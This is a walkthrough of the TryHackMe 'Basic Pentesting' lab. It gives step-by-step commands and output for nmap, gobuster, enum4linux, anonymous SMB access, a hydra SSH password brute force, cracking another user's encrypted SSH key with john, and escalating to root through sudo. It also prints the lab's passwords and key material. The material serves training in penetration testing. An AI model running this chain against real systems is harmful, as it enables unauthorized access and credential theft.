Basic Pentesting
This room contains info about basic web app pentesting and privilege escalation.
For complete tryhackme path, refer the link.
Task 1 - Web App Testing and Privilege Escalation
References
Use nmap to find open ports with a quick scan.
nmap -Pn -T4 -sS --top-ports 1000 --open --reason <ip>
The output will be similar to
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-26 13:56 EDT
Nmap scan report for <ip>
Host is up, received user-set (0.38s latency).
Not shown: 994 closed ports
Reason: 994 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
8009/tcp open ajp13 syn-ack ttl 61
8080/tcp open http-proxy syn-ack ttl 61
Nmap done: 1 IP address (1 host up) scanned in 5.62 seconds
Use gobuster to enumerate available directories under web root.
gobuster dir -u <ip> -t 20 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q
The output will be similar to
/development (Status: 301)
/server-status (Status: 403)
Using firefox check if there are any useful info under development directory. There will be two text files dev.txt and j.txt, which will be accessible.
The file http://<ip>/development/j.txt has the following content, which identifies the password of user j can be easily cracked. But the username itself is not known yet.
For J:
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.
-K
Use enum4linux to try if smb listening on port 139 can be enumerated for any other information.
enum4linux -A <ip>
The output will be similar to
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Apr 26 19:25:25 2021
==========================
| Target Information |
==========================
Target ........... <ip>
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=====================================================
| Enumerating Workgroup/Domain on <ip> |
=====================================================
[+] Got domain/workgroup name: WORKGROUP
=============================================
| Nbtstat Information for <ip> |
=============================================
Looking up status of <ip>
BASIC2 <00> - B <ACTIVE> Workstation Service
BASIC2 <03> - B <ACTIVE> Messenger Service
BASIC2 <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
======================================
| Session Check on <ip> |
======================================
[+] Server <ip> allows sessions using username '', password ''
============================================
| Getting domain SID for <ip> |
============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=======================================
| OS information on <ip> |
=======================================
Use of uninitialized value $os_info in concatenation (.) or string at /root/Desktop/Tools/Miscellaneous/enum4linux.pl line 464.
[+] Got OS info for <ip> from smbclient:
[+] Got OS info for <ip> from srvinfo:
BASIC2 Wk Sv PrQ Unx NT SNT Samba Server 4.3.11-Ubuntu
platform_id : 500
os version : 6.1
server type : 0x809a03
==========================================
| Share Enumeration on <ip> |
==========================================
Sharename Type Comment
--------- ---- -------
Anonymous Disk
IPC$ IPC IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP BASIC2
[+] Attempting to map shares on <ip>
//<ip>/Anonymous Mapping: OK, Listing: OK
//<ip>/IPC$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
===============================
| Groups on <ip> |
===============================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
========================================================================
| Users on <ip> via RID cycling (RIDS: 500-550,1000-1050) |
========================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2853212168-2008227510-3551253869
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''
S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
==============================================
| Getting printer info for <ip> |
==============================================
No printers returned.
enum4linux complete on Mon Apr 26 19:25:41 2021
It is seen the smb share //<ip>/Anonymous is publicly accessible using anonymous user. And the users are identified as jan and kay.
Use smbclient to enumerate the anonymous share to find any information.
smbclient \\\\<ip>\\Anonymous
An output similar to below will be obtained.
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
staff.txt N 173 Thu Apr 19 18:29:55 2018
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (84.5 KiloBytes/sec) (average 84.5 KiloBytes/sec)
smb: \> !cat staff.txt
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay
Use hydra to bruteforce ssh password.
hydra -t 16 -l jan -P /usr/share/wordlists/rockyou.txt ssh://<ip>
The output will be similar to
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2021-04-26 19:46:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://<ip>:22/
[STATUS] 261.00 tries/min, 261 tries in 00:01h, 14344142 to do in 915:59h, 16 active
[STATUS] 247.00 tries/min, 741 tries in 00:03h, 14343662 to do in 967:52h, 16 active
[22][ssh] host: <ip> login: jan password: <password>
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-04-26 19:49:40
Login using ssh to find any information.
ssh jan@<ip>
The files under user kay home directory can be accessed.
jan@basic2:~$ ls -al /home/kay/
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw------- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx------ 2 kay kay 4096 Apr 17 2018 .cache
-rw------- 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw------- 1 root kay 538 Apr 23 2018 .viminfo
jan@basic2:~$ ls -al /home/kay/.ssh
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 ..
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
Check the ssh key id_rsa.pub and authorized_keys files, to see if any login is possible.
jan@basic2:~$ cat /home/kay/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzAsDwjb0ft4IO7Kyux8DWocNiS1aJqpdVEo+gfk8Ng624b9qOQp7LOWDMVIINfCuzkTA3ZugSyo1OehPc0iyD7SfJIMzsETFvlHB3DlLLeNFm11hNeUBCF4Lt6o9uH3lcTuPVyZAvbAt7xD66bKjyEUy3hrpSnruN+M0exdSjaV54PI9TBFkUmmqpXsrWzMj1QaxBxZMq3xaBxTsFvW2nEx0rPOrnltQM4bdAvmvSXtuxLw6e5iCaAy1eoTHw0N6IfeGvwcHXIlCT25gH1gRfS0/NdR9cs78ylxYTLDnNvkxL1J3cVzVHJ/ZfOOWOCK4iJ/K8PIbSnYsBkSnrIlDX27PM7DZCBu+xhIwV5z4hRwwZZG5VcU+nDZZYr4xtpPbQcIQWYjVwr5vF3vehk57ymIWLwNqU/rSnZ0wZH8MURhVFaNOdr/0184Z1dJZ34u3NbIBxEV9XsjAh/L52Dt7DNHWqUJKIL1/NV96LKDqHKCXCRFBOh9BgqJUIAXoDdWLtBunFKu/tgCz0n7SIPSZDxJDhF4StAhFbGCHP9NIMvB890FjJE/vys/PuY3efX1GjTdAijRa019M2f8d0OnJpktNwCIMxEjvKyGQKGPLtTS8o0UAgLfV50Zuhg7H5j6RAJoSgFOtlosnFzwNuxxU05ozHuJ59wsmn5LMK97sbow== I don't have to type a long password anymore!
jan@basic2:~$ cat /home/kay/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzAsDwjb0ft4IO7Kyux8DWocNiS1aJqpdVEo+gfk8Ng624b9qOQp7LOWDMVIINfCuzkTA3ZugSyo1OehPc0iyD7SfJIMzsETFvlHB3DlLLeNFm11hNeUBCF4Lt6o9uH3lcTuPVyZAvbAt7xD66bKjyEUy3hrpSnruN+M0exdSjaV54PI9TBFkUmmqpXsrWzMj1QaxBxZMq3xaBxTsFvW2nEx0rPOrnltQM4bdAvmvSXtuxLw6e5iCaAy1eoTHw0N6IfeGvwcHXIlCT25gH1gRfS0/NdR9cs78ylxYTLDnNvkxL1J3cVzVHJ/ZfOOWOCK4iJ/K8PIbSnYsBkSnrIlDX27PM7DZCBu+xhIwV5z4hRwwZZG5VcU+nDZZYr4xtpPbQcIQWYjVwr5vF3vehk57ymIWLwNqU/rSnZ0wZH8MURhVFaNOdr/0184Z1dJZ34u3NbIBxEV9XsjAh/L52Dt7DNHWqUJKIL1/NV96LKDqHKCXCRFBOh9BgqJUIAXoDdWLtBunFKu/tgCz0n7SIPSZDxJDhF4StAhFbGCHP9NIMvB890FjJE/vys/PuY3efX1GjTdAijRa019M2f8d0OnJpktNwCIMxEjvKyGQKGPLtTS8o0UAgLfV50Zuhg7H5j6RAJoSgFOtlosnFzwNuxxU05ozHuJ59wsmn5LMK97sbow== I don't have to type a long password anymore!
Since the same id_rsa private key is allowed to login without password, it can be checked.
jan@basic2:~$ cat /home/kay/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
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t/CCVLBkM22Ewao8glguHN5VtaNH0mTLnpjfNLVJCDHl0hKzi3zZmdrxhql+/WJQ
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3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----
Use john to crack the passcode of id_rsa private key of user kay. Convert the id_rsa private key to readable format for john.
./run/ssh2john.py hash/idrsa.id_rsa > hash/idrsa.txt
Bruteforce the passcode of id_rsa private key.
.\run\john.exe --wordlist=wordlists\rockyou.txt hash\idrsa.txt
The output will be similar to
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
<password> (hash/idrsa.id_rsa)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:21 DONE (2021-04-27 01:01) 0.04746g/s 680701p/s 680701c/s 680701C/sa6_123..♦*♥7¡Vamos!♥
Session completed
The passcode for id_rsa is known, and it is authorized for passwordless login. Save the private key and use it to ssh to machine as user kay.
ssh -i kay.rsa kay@<ip>
Get the password.
Enter passphrase for key 'kay.rsa': beeswax
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$ sudo -l
[sudo] password for kay:
Matching Defaults entries for kay on basic2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kay may run the following commands on basic2:
(ALL : ALL) ALL
kay@basic2:~$ sudo su -
root@basic2:~#